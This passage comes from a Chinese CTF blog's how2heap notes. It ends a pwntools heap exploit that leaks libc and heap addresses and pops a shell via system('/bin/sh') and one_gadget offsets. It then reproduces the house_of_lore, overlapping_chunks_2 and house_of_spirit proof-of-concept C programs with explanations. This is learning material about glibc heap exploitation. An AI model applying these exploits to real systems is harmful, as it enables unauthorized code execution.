class="number">0xDDAA</span>)</span><br><span class="line">build(<span class="number">0x1000</span>,<span class="string">'\x00'</span>*<span class="number">0x1000</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line">build(<span class="number">0x400</span>,<span class="string">'*'</span>*<span class="number">0x8</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)<span class="comment">#when the size is largesize, the split victim chunk will remain the fd_nextsize&amp;bk_nextsize</span></span><br><span class="line"></span><br><span class="line">see()</span><br><span class="line">p.recvuntil(<span class="string">"********"</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x3c5188</span></span><br><span class="line">loginfo(<span class="string">"libc_base:"</span>,libc_base)</span><br><span class="line"></span><br><span class="line">upgrade(<span class="number">0x10</span>,<span class="string">'*'</span>*<span class="number">0x10</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line">see()</span><br><span class="line">p.recvuntil(<span class="string">'****************'</span>)</span><br><span class="line">heap_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0xc0</span></span><br><span class="line">loginfo(<span class="string">"heap_base"</span>,heap_base)</span><br><span class="line"></span><br><span class="line">payload=<span class="string">'\x00'</span>*<span class="number">0x408</span>+p64(<span class="number">0x21</span>)+p64(<span class="number">0xddaa00000010</span>)+p64(<span class="number">0</span>)+<span class="string">'/bin/sh\x00'</span>+p64(<span class="number">0x61</span>)+p64(<span class="number">0</span>)+p64(libc_base+<span class="number">0x3c5520</span><span class="number">-0x10</span>)</span><br><span class="line">payload+=(p64(<span class="number">0</span>)+p64(<span class="number">1</span>)).ljust(<span class="number">0xb0</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0</span>)</span><br><span class="line">payload=payload.ljust(<span class="number">0xc8</span>,<span class="string">'\x00'</span>)+p64(heap_base+<span class="number">0x5c0</span>)+p64(<span class="number">0</span>)+p64(libc.symbols[<span class="string">'system'</span>]+libc_base)</span><br><span class="line"></span><br><span class="line">upgrade(len(payload),payload,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">p.send(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">fastbin addree to size： (offset_to_fastbinY/8+2)&lt;&lt;(4 or 3)</span></span><br><span class="line"><span class="string">largebin chunksize:0x410|0x450|0x490|0x4C0...</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - house_of_lore&amp;overlapping_chunks_2</title>
    <url>/2020/02/17/how2heap-house-of-lore-overlapping-chunks-2/</url>
    <content><![CDATA[<h1 id="how2heap-house-of-lore-amp-overlapping-chunks-2"><a href="#how2heap-house-of-lore-amp-overlapping-chunks-2" class="headerlink" title="how2heap - house_of_lore&amp;overlapping_chunks_2"></a>how2heap - house_of_lore&amp;overlapping_chunks_2</h1><p>ubuntu16.04    libc2.23</p>
<p>这两个没有例题所以我放在一起了</p>
<h1 id="house-of-lore-c"><a href="#house-of-lore-c" class="headerlink" title="house_of_lore.c"></a>house_of_lore.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Advanced exploitation of the House of Lore - Malloc Maleficarum.</span></span><br><span class="line"><span class="comment">This PoC take care also of the glibc hardening of smallbin corruption.</span></span><br><span class="line"><span class="comment">[ ... ]</span></span><br><span class="line"><span class="comment">else</span></span><br><span class="line"><span class="comment">    &#123;</span></span><br><span class="line"><span class="comment">      bck = victim-&gt;bk;</span></span><br><span class="line"><span class="comment">    if (__glibc_unlikely (bck-&gt;fd != victim))&#123;</span></span><br><span class="line"><span class="comment">                  errstr = "malloc(): smallbin double linked list corrupted";</span></span><br><span class="line"><span class="comment">                  goto errout;</span></span><br><span class="line"><span class="comment">                &#125;</span></span><br><span class="line"><span class="comment">       set_inuse_bit_at_offset (victim, nb);</span></span><br><span class="line"><span class="comment">       bin-&gt;bk = bck;</span></span><br><span class="line"><span class="comment">       bck-&gt;fd = bin;</span></span><br><span class="line"><span class="comment">       [ ... ]</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">jackpot</span><span class="params">()</span></span>&#123; <span class="built_in">puts</span>(<span class="string">"Nice jump d00d"</span>); <span class="built_in">exit</span>(<span class="number">0</span>); &#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> * argv[])</span></span>&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  <span class="keyword">intptr_t</span>* stack_buffer_1[<span class="number">4</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">  <span class="keyword">intptr_t</span>* stack_buffer_2[<span class="number">3</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWelcome to the House of Lore\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating the victim chunk\n"</span>);</span><br><span class="line">  <span class="keyword">intptr_t</span> *victim = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated the first small chunk on the heap at %p\n"</span>, victim);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk</span></span><br><span class="line">  <span class="keyword">intptr_t</span> *victim_chunk = victim<span class="number">-2</span>;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_buffer_1 at %p\n"</span>, (<span class="keyword">void</span>*)stack_buffer_1);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_buffer_2 at %p\n"</span>, (<span class="keyword">void</span>*)stack_buffer_2);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Create a fake chunk on the stack\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"</span></span><br><span class="line">         <span class="string">"in second to the last malloc, which putting stack address on smallbin list\n"</span>);</span><br><span class="line">  stack_buffer_1[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  stack_buffer_1[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  stack_buffer_1[<span class="number">2</span>] = victim_chunk;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "</span></span><br><span class="line">         <span class="string">"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "</span></span><br><span class="line">         <span class="string">"chunk on stack"</span>);</span><br><span class="line">  stack_buffer_1[<span class="number">3</span>] = (<span class="keyword">intptr_t</span>*)stack_buffer_2;</span><br><span class="line">  stack_buffer_2[<span class="number">2</span>] = (<span class="keyword">intptr_t</span>*)stack_buffer_1;</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating another large chunk in order to avoid consolidating the top chunk with"</span></span><br><span class="line">         <span class="string">"the small one during the free()\n"</span>);</span><br><span class="line">  <span class="keyword">void</span> *p5 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated the large chunk on the heap at %p\n"</span>, p5);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the chunk %p, it will be inserted in the unsorted bin\n"</span>, victim);</span><br><span class="line">  <span class="built_in">free</span>((<span class="keyword">void</span>*)victim);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim-&gt;fwd: %p\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">0</span>]);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim-&gt;bk: %p\n\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This means that the chunk %p will be inserted in front of the SmallBin\n"</span>, victim);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">void</span> *p2 = <span class="built_in">malloc</span>(<span class="number">1200</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n"</span>, p2);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The victim chunk has been sorted and its fwd and bk pointers updated\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim-&gt;fwd: %p\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">0</span>]);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim-&gt;bk: %p\n\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now emulating a vulnerability that can overwrite the victim-&gt;bk pointer\n"</span>);</span><br><span class="line"></span><br><span class="line">  victim[<span class="number">1</span>] = (<span class="keyword">intptr_t</span>)stack_buffer_1; <span class="comment">// victim-&gt;bk is pointing to stack</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now allocating a chunk with size equal to the first one freed\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This should return the overwritten victim chunk and set the bin-&gt;bk to the injected victim-&gt;bk pointer\n"</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">void</span> *p3 = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin-&gt;bk\n"</span>);</span><br><span class="line">  <span class="keyword">char</span> *p4 = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = malloc(100)\n"</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n"</span>,</span><br><span class="line">         stack_buffer_2[<span class="number">2</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\np4 is %p and should be on the stack!\n"</span>, p4); <span class="comment">// this chunk will be allocated on stack</span></span><br><span class="line">  <span class="keyword">intptr_t</span> sc = (<span class="keyword">intptr_t</span>)jackpot; <span class="comment">// Emulating our in-memory shellcode</span></span><br><span class="line">  <span class="built_in">memcpy</span>((p4+<span class="number">40</span>), &amp;sc, <span class="number">8</span>); <span class="comment">// This bypasses stack-smash detection since it jumps over the canary</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>说白了就是在栈上伪造出一个smallbin链里面的chunk来，然后把smallbin链中chunk的bk更改到栈上我们伪造的chunk处</p>
<p>这里在栈上伪造的chunk是这样的</p>
<table>
<thead>
<tr>
<th>header（fill 0）chunk1</th>
<th>header（fill 0）</th>
</tr>
</thead>
<tbody><tr>
<td>fd=victim</td>
<td>bk=chunk2</td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>header（fill 0）chunk2</th>
<th>header（fill 0）</th>
</tr>
</thead>
<tbody><tr>
<td>fd = chunk1↑</td>
<td>#这里没必要，只检查fd</td>
</tr>
</tbody></table>
<p>这样，示例代码中连续两次通过vitcim-&gt;bk-&gt;fd的检查就可以把栈上的chunk1 malloc出来了，从而修改返回地址到shellcode</p>
<p>是一个比较简单的原理</p>
<h1 id="overlapping-chunks-2-c"><a href="#overlapping-chunks-2-c" class="headerlink" title="overlapping_chunks_2.c"></a>overlapping_chunks_2.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> Yet another simple tale of overlapping chunk.</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.</span></span><br><span class="line"><span class="comment"> </span></span><br><span class="line"><span class="comment"> This is also referenced as Nonadjacent Free Chunk Consolidation Attack.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;malloc.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">intptr_t</span> *p1,*p2,*p3,*p4,*p5,*p6;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;</span><br><span class="line">  <span class="keyword">int</span> prev_in_use = <span class="number">0x1</span>;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis is a simple chunks overlapping problem"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's start to allocate 5 chunks on the heap:"</span>);</span><br><span class="line"></span><br><span class="line">  p1 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line">  p2 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line">  p3 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line">  p4 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line">  p5 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"></span><br><span class="line">  real_size_p1 = malloc_usable_size(p1);</span><br><span class="line">  real_size_p2 = malloc_usable_size(p2);</span><br><span class="line">  real_size_p3 = malloc_usable_size(p3);</span><br><span class="line">  real_size_p4 = malloc_usable_size(p4);</span><br><span class="line">  real_size_p5 = malloc_usable_size(p5);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\n\nchunk p1 from %p to %p"</span>, p1, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p1+malloc_usable_size(p1));</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p2 from %p to %p"</span>, p2,  (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p2+malloc_usable_size(p2));</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p3 from %p to %p"</span>, p3,  (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p3+malloc_usable_size(p3));</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p4 from %p to %p"</span>, p4, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p4+malloc_usable_size(p4));</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p5 from %p to %p\n"</span>, p5,  (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p5+malloc_usable_size(p5));</span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(p1,<span class="string">'A'</span>,real_size_p1);</span><br><span class="line">  <span class="built_in">memset</span>(p2,<span class="string">'B'</span>,real_size_p2);</span><br><span class="line">  <span class="built_in">memset</span>(p3,<span class="string">'C'</span>,real_size_p3);</span><br><span class="line">  <span class="built_in">memset</span>(p4,<span class="string">'D'</span>,real_size_p4);</span><br><span class="line">  <span class="built_in">memset</span>(p5,<span class="string">'E'</span>,real_size_p5);</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"</span>); </span><br><span class="line">  </span><br><span class="line">  <span class="built_in">free</span>(p4);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n"</span>);</span><br><span class="line"></span><br><span class="line">  *(<span class="keyword">unsigned</span> <span class="keyword">int</span> *)((<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + <span class="keyword">sizeof</span>(<span class="keyword">size_t</span>) * <span class="number">2</span>; <span class="comment">//&lt;--- BUG HERE </span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis operation will basically create a big free chunk that wrongly includes p3\n"</span>);</span><br><span class="line">  <span class="built_in">free</span>(p2);</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n"</span>);</span><br><span class="line"></span><br><span class="line">  p6 = <span class="built_in">malloc</span>(<span class="number">2000</span>);</span><br><span class="line">  real_size_p6 = malloc_usable_size(p6);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p6 from %p to %p"</span>, p6,  (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p6+real_size_p6);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p3 from %p to %p\n"</span>, p3, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *) p3+real_size_p3); </span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nData inside chunk p3: \n\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%s\n"</span>,(<span class="keyword">char</span> *)p3); </span><br><span class="line"></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's write something inside p6\n"</span>);</span><br><span class="line">  <span class="built_in">memset</span>(p6,<span class="string">'F'</span>,<span class="number">1500</span>);  </span><br><span class="line">  </span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nData inside chunk p3: \n\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%s\n"</span>,(<span class="keyword">char</span> *)p3); </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这个代码就是我前面写overlapchunk1用到的，通过溢出修改chunk的size字段，然后就可以在free时free出一大块chunk（不过此时要注意free的检查）一般是设置扩充的chunk刚好在某个chunk头部，当然如果chunk里面有合适的size也可以使用，这个我也暂时不debug了后面回来一起写总结</p>
]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - house_of_spirit&amp;OREO</title>
    <url>/2020/02/06/how2heap-house-of-spirit-OREO/</url>
    <content><![CDATA[<h1 id="how2heap-house-of-spirit-amp-OREO"><a href="#how2heap-house-of-spirit-amp-OREO" class="headerlink" title="how2heap - house_of_spirit&amp;OREO"></a>how2heap - house_of_spirit&amp;OREO</h1><p>ubuntu 16.04  libc2.23</p>
<h1 id="house-of-spirit-c"><a href="#house-of-spirit-c" class="headerlink" title="house_of_spirit.c"></a>house_of_spirit.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file demonstrates the house of spirit attack.\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Calling malloc() once so that it sets up its memory.\n"</span>);</span><br><span class="line">	<span class="built_in">malloc</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We will now overwrite a pointer to point to a fake 'fastbin' region.\n"</span>);</span><br><span class="line">	<span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> *a;</span><br><span class="line">	<span class="comment">// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)</span></span><br><span class="line">	<span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> fake_chunks[<span class="number">10</span>] __attribute__ ((aligned (<span class="number">16</span>)));</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"</span>, <span class="keyword">sizeof</span>(fake_chunks), &amp;fake_chunks[<span class="number">1</span>], &amp;fake_chunks[<span class="number">9</span>]);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (&lt;= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"</span>);</span><br><span class="line">	fake_chunks[<span class="number">1</span>] = <span class="number">0x40</span>; <span class="comment">// this is the size</span></span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The chunk.size of the *next* fake region has to be sane. That is &gt; 2*SIZE_SZ (&gt; 16 on x64) &amp;&amp; &lt; av-&gt;system_mem (&lt; 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"</span>);</span><br><span class="line">        <span class="comment">// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8</span></span><br><span class="line">	fake_chunks[<span class="number">9</span>] = <span class="number">0x1234</span>; <span class="comment">// nextsize</span></span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"</span>, &amp;fake_chunks[<span class="number">1</span>]);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"</span>);</span><br><span class="line">	a = &amp;fake_chunks[<span class="number">2</span>];</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the overwritten pointer.\n"</span>);</span><br><span class="line">	<span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"</span>, &amp;fake_chunks[<span class="number">1</span>], &amp;fake_chunks[<span class="number">2</span>]);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"malloc(0x30): %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">0x30</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>基本就是初始化堆之后，在栈上通过伪造一个chunk来free然后malloc出来</p>
<p>记两句吧：</p>
<p>在栈上伪造fake chunk时，next chunk.size要满足条件才能通过free的检查</p>
<p>The chunk.size of the <em>next</em> fake region has to be sane. That is &gt; <strong>2*SIZE_SZ (&gt; 16 on x64) &amp;&amp; &lt; av-&gt;system_mem (&lt; 128kb by default for the main arena)</strong> to pass the nextsize integrity checks. No need for fastbin size.</p>
<p>fake chunk的地址需要16字节对齐（x64），所以在申请临时变量时才用到了<code>__attribute__ ((aligned (16)))</code></p>
<p>note that the memory address of the <em>region</em> associated with this chunk must be 16-byte aligned.</p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>fake chunk伪造完成之后栈上布局如图所示：</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580794910542.png" width="90%" height="90%">

<p>free之后：</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580795039645.png" width="60%" height="60%">

<p>再次malloc结束之后可以看到RAX中的返回值便是fake chunk的data region</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580795339441.png" width="60%" height="60%">

<h1 id="OREO"><a href="#OREO" class="headerlink" title="OREO"></a>OREO</h1><p>写了好久的x64 heap这次总算碰到一个x86的 : )</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>（经过分析之后先逆出了结构体和符号）</p>
